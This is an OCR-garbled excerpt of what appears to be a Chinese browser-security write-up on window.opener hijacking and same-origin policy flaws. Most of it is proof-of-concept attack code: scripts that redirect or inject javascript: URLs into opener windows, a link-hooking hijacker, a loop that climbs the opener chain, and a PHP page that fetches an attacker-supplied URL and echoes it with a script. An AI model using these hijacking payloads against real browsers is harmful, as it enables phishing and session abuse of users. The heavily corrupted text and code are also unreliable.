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——code
{script language="javascript”>

for(p in window) document.write (p+”<br>”);
{/script>
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——demo. html
{script language="javascript”>
function allPrpos(obj) {
var props = “<table><{tr><td>ZFR</td><tdMHL/td>”;
for (var p in obj) {
if (typeof (objlp])=="function”) {
objlp] O;
Jelse{
try

{
}

catch (ex)

{

props+="<tr><td>"+p + "</td><td>” + objl p ] + “</td><{/tr>7;

propst= "<tr><td>"Hp + “<{/td><td>” +ex.messaget”<{/td><{/tr>”;

}

document. write (props+”</table>”);

}

function createWin() {
newWin = window. open (“http://www. google. com”) ;
setTimeout (function () {allPrpos (newWin) }, 2000) ;
}

{/script>



<button onclick="createWin () "> —NAEFEVE T & H A< /button>
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——vull. html
{script language="javascript”>
function createWin() {

newWin = window. open (“http://www. google. com”) ;

setTimeout (function () {newWin. location="http://www. 80sec. com”}, 2000) ;
}
{/script>

<button onclick="createWin () "> —NAEFEVE T & H A< /button>
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——code

javascript:window. opener. location = “http://www. 80sec. com” ;void(0) ;
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—hjk ref. php
<?php

if (array key exists("HTTP REFERER”, § SERVER)) {

$Url Mirror = § SERVER[”HTTP REFERER”]:

}

if(isset ($ GET["ref”])) {

echo file get contents($ GET["ref”]) . “<scriptralert(\”I had been hijacking your
browser!\”) {/script>”;

}

?>

{script language="javascript”>

setTimeout (function () {window. opener. location=window. location+”?ref=<?echo
$Url Mirror;?>”}, 3000) ;

{/script>
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—hi jack open. js

javascript:for (i=0;i<document. links. length;i++) {document. links[i]. onclick=
function () {x=window. open(this. href) ;setTimeout (function() {try{x. location="
javascript:alert(“I had been hijacking your browser!”)”}catch(e) {};

return false;}, 3000) ;return false:}};void(0) :
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—hi jack opener. js

javascript:window. opener. location="javascript:alert(”I had been hijacki
ng your browser!”)”;void(0);
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—hi jack frame opener. js
{script>

window. parent. opener. location="javascript:alert (”I had been hijacking y
our browser!”)”;

{/script>

6. 4 AR JEAG IS A IF B A i85 T 13 A RF

luoluo M FN L T3X—#B7r, & HZKGI ISR R R I, FATH LU dwindow
(Flopener J& ML S 1) 3 YA A FR TS L AXSSIIAS, R AT G I 1 R g 1 4 il 50 RF, JFamad
S A BEORRE 2 [ 5 4 IR PR e e, AR

——code

javascript: (function () {var w=window;while (w. opener) {w=w. opener;try {w. location=
”javascript:alert (I had been hijacking your browser!”) :void(1);
“;teatch(e) {}}}) O ;void(0) ;
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http://en. wikipedia. org/wiki/Same origin policy

http://code. google. com/p/browsersec/wiki/Part2#Same-origin policy for DOM access
http://www. w3. org/TR/Window/

http://www. 80sec. com/release/browser—hi jacking. txt

http://www. 80sec. com/all-browser—security—alert. html

http://www. 80sec. com/ms08-058-attacks—google. html
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